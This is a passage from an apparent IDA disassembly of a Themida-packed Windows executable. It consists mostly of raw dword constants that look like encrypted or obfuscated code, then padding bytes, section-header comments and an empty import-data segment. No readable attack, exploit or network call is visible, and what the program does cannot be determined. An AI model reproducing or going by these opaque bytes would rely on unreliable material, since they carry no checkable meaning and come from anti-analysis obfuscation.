0E0C22B18h, 0E86F9EDAh dd 13h, 6C03F3ADh, 46BDDD56h, 5F885F6Ah, 5CF6ABC6h, 6639BBDDh dd 0A621DF81h, 12E95Ah, 0BAC70000h, 8D62A347h, 4420C612h dd 43B89FCh, 0A3A83E16h, 129A6CBBh, 2830F03h, 8B000000h dd 8FB866C7h, 0CE980h, 1F5F0000h, 574F29FFh, 5112A638h dd 66FC0C3Bh, 8BF8F08Bh, 0D890FFAh, 0E9000000h, 8, 0CB00FF00h dd 2D4754h, 198F0FF8h, 0E8000000h, 0Dh, 5BF7E65Eh, 546E8CF6h dd 1CEEC6F8h, 810F8Dh, 5E000000h, 75C9D881h, 6E9367Fh dd 0FA000000h, 417B8CF9h, 5E984h, 0AB170000h, 6684FCD1h dd 3C67CA81h, 14E9h, 6F446100h, 3036BD8Dh, 0AB13564Ah dd 5A39DACDh, 0B0FFF05Eh, 13E9CFh, 0C0B0000h, 2F6391A3h dd 634CD21Dh, 876CA238h, 0D2C80BDAh, 0F2816609h, 0F08A38A0h dd 0E8FBBF0Fh, 13h, 0A71673Dh, 0A7765225h, 0BF873788h dd 1105A769h, 5ED144A3h, 0AE8h, 2B50200h, 0A58A98C5h, 81E5C804h dd 5B8A74C0h, 58535A2Dh, 16820F60h, 0E9000000h, 11h, 2C393439h dd 83BDDDCh, 1DF81138h, 485BA135h, 0B70F5173h, 0E9615AF0h dd 0Dh, 6F5B7E73h, 0EC9613Ah, 0E1BCF584h, 4FF8B985h, 92B53A43h dd 9810Fh, 8B0F0000h, 3, 60D1B70Fh, 8166C88Ah, 61341AE3h dd 6E8D48Ah, 63000000h, 17D3BC7Fh, 5B71B174h, 0E8816656h dd 0E9598811h, 0Fh, 0FC3D5552h, 3B5ADF0h, 1909CC8Eh, 80043E5Ah dd 56BFFBCFh, 806A5BB8h, 0CA8A94D8h, 0FC7BF0Fh, 98Fh, 3880F00h dd 0F000000h, 44BAF8B7h, 0E962F3A2h, 0Dh, 31AF9024h, 0C073AA7Ah dd 4FF25269h, 7BBE6626h, 840FF842h, 0Ch, 68E0Fh, 820F0000h dd 0 dd 0EE9h, 6894AD00h, 0FF140C4Eh, 56C999F4h, 8B297950h dd 880FC3h, 50000000h, 0B50DE281h, 0F5F69C2h, 48Eh, 71BA6600h dd 0FF18BBDh, 0E981C0B7h, 0A3162E6h, 601CA81h, 81666F32h dd 0E89059C1h, 11h, 94AE27D3h, 94B2E113h, 0F5DC8407h, 159A5EA4h dd 0E881668Ch, 0E959646Ch, 12h, 1D68D90Ah, 0A1401DA5h dd 7C6F0DF8h, 92068ADBh, 11E8D020h, 0B000000h, 0CFAE309Ah dd 9AA37FB0h, 40D14718h, 0AE3FF4D5h, 80FFB866h, 11E958h dd 74BF0000h, 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0E9B1ADB4h dd 10h, 0E19131D4h, 87DB17C0h, 18016EC3h, 0E1D41B14h, 0BACE8157h dd 5F4EC35Ch, 58A0Fh, 1BBA0000h, 6011F15Bh, 0FE8h, 7C913200h dd 0E87F2F95h, 66982142h, 7905FFEBh, 0E95BF78Bh, 8, 805EEA56h dd 0E5F46B03h, 9513BB61h, 880F103Ch, 5, 0C31299B9h, 0F1FB14Ah dd 28Fh, 0B1FE8B00h, 8B6657F7h, 0F08158D9h, 32815724h dd 3840FF5h, 80000000h, 0E680ECDBh, 86BA662Fh, 0CE896h dd 0CEF00000h, 39130CDBh, 3E80C381h, 5E92152h, 0DE000000h dd 9FDAF4Ch, 108B0F5Fh, 0E9000000h, 0Bh, 0C8526FC3h, 2F45D513h dd 8B79FFEFh, 0CFBF0FF7h, 6052CE8Bh, 91A3A4B8h, 10E95Eh dd 7AD20000h, 0ADF433CDh, 32ABA2F1h, 1753FB38h, 5E61F1F4h dd 0CCCCBB66h, 5870Fh, 81660000h, 0FC08ED7h, 0B966D0B7h dd 0E680843Bh, 0EE9AFh, 65BB0000h, 1F9ECAC2h, 8A410924h dd 6CE185A4h, 8E9h, 72D200h, 8819F784h, 0B70F5149h, 0FDB259F8h dd 0E96ADA80h, 0Dh, 0C2F6F9B4h, 1114BEFDh, 4DAC65Ch, 9CBB66D7h dd 22B356B6h, 0A3D38159h, 60376BC4h, 7A11BE66h, 0F2C78166h dd 0BF0F6130h, 0F68ABAF6h, 8E92053h, 12000000h, 0F08CA09Ch dd 66468E9Dh, 25CCD881h, 68B0Fh, 0E9810000h, 1F065F14h dd 0F188BE66h, 5800Fh, 0B9B90000h, 0B83C2046h, 6684D05Fh dd 5FF95656h, 0BE958h, 0D3FC0000h, 41F79C57h, 0FAB024E8h dd 0E7816612h, 840F3A18h, 16h, 11E9h, 372C1A00h, 711B1F9Bh dd 0D93A7796h, 63EF2378h, 0E681042Dh, 8986CCEh, 81CB8B66h dd 0D3014CE7h, 0F8BF0F4Ah, 8860Fh, 0F560000h, 8Ch, 81665900h dd 0F5FB91F1h, 0C6E68166h, 18A0F23h, 0F5000000h, 8E8h dd 34373F00h, 0A8DEAEFh, 38B0F49h, 0F000000h, 6659DBB7h dd 0E281D18Bh, 0C4A4EE9h, 0AE9h, 0E4A9800h, 8F07E5C7h dd 813D57FAh, 357F9AE3h, 3CD28116h, 6011FEFDh, 0F8D9B70Fh dd 2860F61h, 0B0000000h, 8FB866F9h, 0D781F532h, 1053C3A1h dd 0D2B0CF8Bh, 0F6F08166h, 1717BBFEh, 0E9FC05C1h, 10h dd 77D31C14h, 3F426651h, 2E0F126Ch, 48B9D9BDh, 5E8h, 204F1C00h dd 0CE99477h, 0C4000000h, 76E12F17h, 72C5DC34h, 59E8DC69h dd 8A0F60h, 0B5000000h, 60516159h, 575CCD80h, 535A615Fh dd 59FC8A52h, 0C28B665Ah, 8E8h, 4A26000h, 0B576F0DFh, 12E91Eh dd 529A0000h, 0A8921E05h, 6072F267h, 12B7869Bh, 0A5BB19D8h dd 68F08159h, 0F44E869h, 389h, 0DF8B6600h, 14E8C88Bh, 39000000h dd 3660F7B5h, 664B11BDh, 0F983054h, 86792734h, 66F1C575h dd 4FBDD081h, 0B70F515Eh, 0F525FFAh, 8Bh, 0FC605800h, 3B9FBB61h dd 0B9662FD0h, 9E9E6E3h, 0D3000000h, 98FA768Fh, 0E1140ED9h dd 75A5B8BEh, 21B8661Eh, 1F081F0h, 666C72C2h, 8BA844BBh dd 0C8B70FF3h, 0BF0FD68Bh, 0BA5A57F9h, 2DC9B620h, 667FB4FCh dd 0ACE6F781h, 0BF23BA66h, 7E9h, 9B928300h, 0B643CEE8h dd 0E590C881h, 0BB66464Fh, 870FCE1Ah, 6, 8F0Fh, 8B660000h dd 0F7B70FC6h, 80D3BF0Fh, 0E86067C1h, 12h, 9D210149h, 56892135h dd 1AB71E10h, 59850C15h, 5F56B307h, 198C0F5Ah, 0E9000000h dd 14h, 1BBB4702h, 904F8C2Dh, 0F69FC960h, 0B39CF318h, 0C082F08Bh dd 25B96661h, 0ADC281D6h, 660F664Eh, 962AE881h, 0E6BED5BEh dd 19C6816Ch, 0E8434485h, 5, 77219BD1h, 0DF81665Fh, 0F5AB06Eh dd 685h, 1DC28100h, 0E843B2C4h, 0Fh, 86BA24FAh, 83258570h dd 722F926Fh, 0FAB889Bh, 0F5EC6B7h, 0EE80F1BFh, 8F0F60CCh dd 16h, 11E9h, 4B475200h, 0EEE72D8Ch, 14A14473h, 0E76C0272h dd 0D381D577h, 3E216ADh, 0D7EB8061h, 0A68AC3BEh, 0AE95246h dd 28000000h, 0C5C9F65Eh, 3F75201Dh, 0F1815A79h, 654A9F67h dd 0FC18B66h, 88h, 0F6C28100h, 0BA4E211Fh, 4B8689E3h, 0BA6160FCh dd 38AE1442h, 0B3F9F2B4h, 0AFBB66A5h, 0FE90Fh, 0DE3A0000h dd 4B0A77E6h, 80041D81h, 18468BA9h, 66F38B23h, 51CBDDBBh dd 0FE6ABA66h, 66D88B59h, 73F9D081h, 0FCF8B66h, 1780h dd 10E95600h, 0FC000000h, 352C0B6h, 78B14A3Dh, 52189F4Bh dd 5F91C00Bh, 58B4F8FCh, 58B0Fh, 3BB0000h, 0B9223A99h dd 69152C25h, 0F52BEB1h, 68Ah, 9DC08100h, 5B42A4CCh, 14E9h dd 87AE3800h, 7C95337Ch, 1363D5B9h, 0EA76FF86h, 29768C7Eh dd 8B666040h, 0DF8161CFh, 2293DAh, 1810Fh, 56F50000h, 11E8h dd 2D29AD00h, 1DD64FA2h, 1DFA3D73h, 0DBBF29CFh, 0BE66BA6Fh dd 5E5B3019h, 13E952FCh, 8B000000h, 176140DDh, 86A14642h dd 558153EDh, 76028C6Ah, 8B594E97h, 61FC60D9h, 66F98B66h dd 0F60D68Bh, 1587h, 10E900h, 0B9C0000h, 510C011Ah, 3FF6CCADh dd 0AC0D8FB0h, 6661F1A3h, 66767FBEh, 0F6B8D88Bh, 816627CBh dd 0C0CB75EBh, 0BDEB8117h, 0F8415238h, 41BA66F9h, 0DFB70FF9h dd 8CE8166h, 80DF8B18h, 8E8C6F7h, 0C000000h, 4656F7FBh dd 5AE4C87Dh, 0F51C480h, 68Ch, 88F08100h, 56104C71h, 58D3BF0Fh dd 8850Fh, 870F0000h, 2, 0BB66CF8Bh, 0F4807DCFh, 0D9BA6674h dd 60CA8A7Dh, 13E9h, 95761000h, 0F5216921h, 97EB5E57h dd 0F0D7E96Dh, 716508FEh, 0ABC88166h, 0BA66619Ch, 0BE80276h dd 0D9000000h, 0DA6EBA3Ch, 77B5B91Ch, 0D98BFA13h, 13E858h dd 0D8920000h, 51EE7599h, 0F2645A7Fh, 0CEEDE3E1h, 947854EEh dd 0EFDB8175h, 5E57936Eh, 0E68AD98Bh, 469895BEh, 0D1C88041h dd 13860Fh, 0E9570000h, 0Ch, 1BFBC055h, 6275E56Dh, 7BF6F05Fh dd 0CF816659h, 10E863D5h, 49000000h, 59367427h, 95A8252h dd 0D91F29EFh, 59ADFD2Bh, 8BF08B66h, 9E9F9h, 25650000h dd 5175CA23h, 0FCBAC554h, 11E9h, 0F70DF000h, 34D4C028h dd 98405E2Ah, 92A0E23Fh, 0D580180Ah, 0CBB70FF2h, 0E3B98DB1h dd 0E91DEEDAh, 0Bh, 0DFBD2C88h, 79E85CB3h, 609782D1h, 12E9h dd 28254800h, 7E5FF0FEh, 0FF01BFAFh, 3141FE5Bh, 0F89A874h dd 0F861CFBFh, 0E9FABF0Fh, 8, 6F67BB73h, 0D3301596h, 118E0Fh dd 6E80000h, 28000000h, 0A580B0EAh, 0F7816682h, 0BB5A31E3h dd 781E3466h, 80FAB70Fh, 890F95D9h, 0Ah, 5E9h, 7E72F800h dd 0B8664244h, 96BB5021h, 0BE180AACh, 1A58EBC2h, 32C68166h dd 5E919h, 5AD0000h, 0FA92F2Fh, 81h, 0BBFBB600h, 0DC79729h dd 0FB5DF80h, 1C80h, 14E800h, 76CD0000h, 0E6B22BA8h, 0A5CF4993h dd 0E5818377h, 0AF7AA451h, 0B5B408FBh, 3840F5Ah dd 0F000000h, 8BBFDBBFh, 8B615BA5h, 92E880D1h, 0D1FBA66h dd 0F08B66F9h, 66CE8B66h, 0B70FF38Bh, 7E951F7h, 13000000h dd 0E7A1D07h, 0F5A0AB7h, 8Ah, 0C18B5300h, 0CFEF815Ah, 816DBD09h dd 37149CD8h, 0E948B24Dh, 10h, 84D7DDE0h, 50EA48ACh, 1452232Dh dd 0B0A3795h, 1810Fh, 60F90000h, 12E9h, 14B46500h, 0B1220407h dd 9DB7C7C0h, 1314507Bh, 0E9F06061h, 9, 0B310A1E8h, 1276D73Fh dd 81666141h, 0FB55ED2h, 0F860D9B7h, 9ABE61FCh, 6646F44Dh dd 8A069EBFh, 0DBB70FC5h, 57F9B70Fh, 0C981665Ah, 0B70FA018h dd 0FE9FBh, 66C00000h, 5F5BFC3h, 0EAF651A7h, 7DE742FEh dd 0EE8FFh, 45D00000h, 0F842497Ch, 2FAC39B4h, 0B2FFE26Ch dd 12E9h, 1FCB3900h, 1C39444Bh, 2E6D9AC6h, 590E0473h, 5FE799BAh dd 0D549C181h, 0C1812504h, 5B27668h, 0DE81DA8Ah, 5E6C1F7Fh dd 80F9B70Fh, 0F60B7E4h, 182h, 6061F800h, 0E967B060h, 12h dd 9E946B63h, 0A1999C21h, 0C20178D7h, 36A995CEh, 61613A44h dd 0C881FB8Bh, 3B508F2Fh, 9E9h, 3EAD5B00h, 168D3EF5h, 3CBEB015h dd 0F139AD5h, 0C88h, 7E900h, 0F6630000h, 0BC66E304h, 0F2BF0F48h dd 0DE9h, 0EEACA200h, 8C46B76Ah, 7F7BB25Eh, 0CF8B7D44h dd 0E2C381BAh, 0EB816678h, 0DE94E65h, 0BA000000h, 0E171D12h dd 0B8A28C0Ah, 9553A13Dh, 34F28166h, 9810FEBh, 0F000000h dd 38Bh, 0FEBF0F00h, 0BE8h, 91507E00h, 6B980CF2h, 439FBC6Bh dd 0EE8h, 45DE4B00h, 8F65667Ah, 1DF46368h, 0F85DD9D9h dd 810F595Bh, 6, 6BAFF781h, 0BB664E6Dh, 80FC63D3h, 0BE6685E5h dd 0F08AC2B9h, 0CD7945BAh, 59F95308h, 54C307BBh, 0EE81660Ah dd 805663AEh, 565BF8C0h, 0DFD4B966h, 8B66F85Bh, 12E8C6h dd 91720000h, 23E1B23Ch, 50801526h, 0DA82D2E3h, 69F3D338h dd 5BDE8B66h, 8E857h, 0CBA60000h, 0A0F0D982h, 6160AB90h dd 81665959h, 0F4D80C1h, 0BA66F1BFh, 850FDFDDh, 0Bh, 58C0Fh dd 81660000h, 0F8DDAE9h, 580h, 0DE816600h, 11E9E79Eh, 23000000h dd 40DC4163h, 0B2DDDD36h, 82AB5278h, 3BF1C4F9h, 6821B866h dd 28F0Fh, 0F88B0000h, 0DEBF6657h, 8B0F5A26h, 3, 66FB8B66h dd 2D26D781h, 0E9F9B6FCh, 0Ah, 65983655h, 4B3F7781h, 0B70F24A4h dd 0AE8C8h, 4FAB0000h, 0C05436B9h, 23D22A40h, 13E85AF5h dd 3D000000h, 0AC35D657h, 2DC7862Bh, 3C307880h, 358CD323h dd 0B1608B1Ah, 0F5E6162h, 65BED3BFh, 8B71DB2Eh, 816660F3h dd 0E90B9DF3h, 13h, 838B1488h, 34FCE1F5h, 22220712h, 0D9B773AFh dd 6109EA93h, 0CE860h, 0D0570000h, 0DED452E3h, 947F4B18h dd 6160B1F2h, 0E4BB665Ah, 0B70F61E0h, 0DEBF0FF8h, 14BF66F5h dd 8CF1802Eh, 5035BE66h, 0F5D1BF0Fh, 58F0Fh, 81660000h dd 0B3CC79CEh, 95D78045h, 1F3C56BFh, 5E8F549h, 60000000h dd 4A72CCE9h, 59616056h, 0FB8B665Bh, 0D6BF0F56h, 0A9BE665Eh dd 3870F94h, 0F000000h, 8E9C1B7h, 73000000h, 91435F2Bh dd 8057BB83h, 0AE985D2h, 0C6000000h, 0C4E7F331h, 65A665D7h dd 60C18ACFh, 0F405D781h, 0B9661E15h, 666127A2h, 293DE781h dd 0AE9h, 9B6E700h, 0DEB772D3h, 0F920399h, 0CA80D2BFh dd 0F38BF8DDh, 0B8BBDE8Bh, 0E82E450Eh, 0Ah, 300D4BD6h dd 25072BFBh, 5A528B8Dh, 0E8BEBF5Bh, 566048EBh, 8E8h, 0D21D2F00h dd 0A238634Ch, 0E9585E6Ch, 10h, 0FD267BDBh, 0B962973Ah dd 6A0238C3h, 5A3F0073h, 0F5D88B61h, 14880Fh, 0FE90000h dd 72000000h, 766FC7A8h, 476DBD9Ah, 0FF811DACh, 0E380AFDBh dd 0FD38B15h, 14E8F2B7h, 3D000000h, 0F61C49EEh, 99AF88CFh dd 0F4B7A842h, 0F1E34551h, 0B26A1698h, 0FA8B58E3h, 5880Fh dd 64B80000h, 0F5558FBh, 384h, 0DF8B6600h, 1B3BCAB8h, 6E96054h dd 0B3000000h, 0CA3FF01Eh, 611AB6C9h, 0D3B70F60h, 0F37CBE66h dd 0D68B6661h, 47D18166h, 7E96011h, 34000000h, 519F9A88h dd 7E9F3DEh, 0F4000000h, 46289DD2h, 0E8613F6Fh, 13h, 3A1929D1h dd 0F7E94D6Bh, 9DC6F964h, 3A88D474h, 0B95D5B74h, 4363AF72h dd 820F605Eh, 2, 61F95B56h, 0BE97CB2h, 0ED000000h, 3A869433h dd 0BAB94B42h, 0F58ACCF9h, 0B9CBBF0Fh, 6FC18CD7h, 8B66C78Bh dd 0D18166D0h, 0BE66BDEBh, 11E804F9h, 8F000000h, 0C16BDE79h dd 5E3289A5h, 6EF3E258h, 80B7D4B1h, 48D0Fh, 0BF660000h dd 0FC59A75Fh, 0C2EB8166h, 9E917h, 89710000h, 64C7D706h dd 1BF2D389h, 1A1h dup(1BC53191h), 0A58B3191h, 1A9h dup(0A58B2BFFh) dd 0B84783FFh, 229h dup(0B847831Bh), 0F147831Bh, 593h dup(0F003A09Bh) dd 0C2h dup(0B4DE4B61h), 0CCCCCC61h, 6E0h dup(0CCCCCCCCh) asc_5AF028 db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: Themida_:005397AEo db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл',0 align 1000h Themida_ ends ; Section 5. (virtual address 001B0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001B0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5B0000h dd 80h dup(0) align 1000h _idata2 ends end start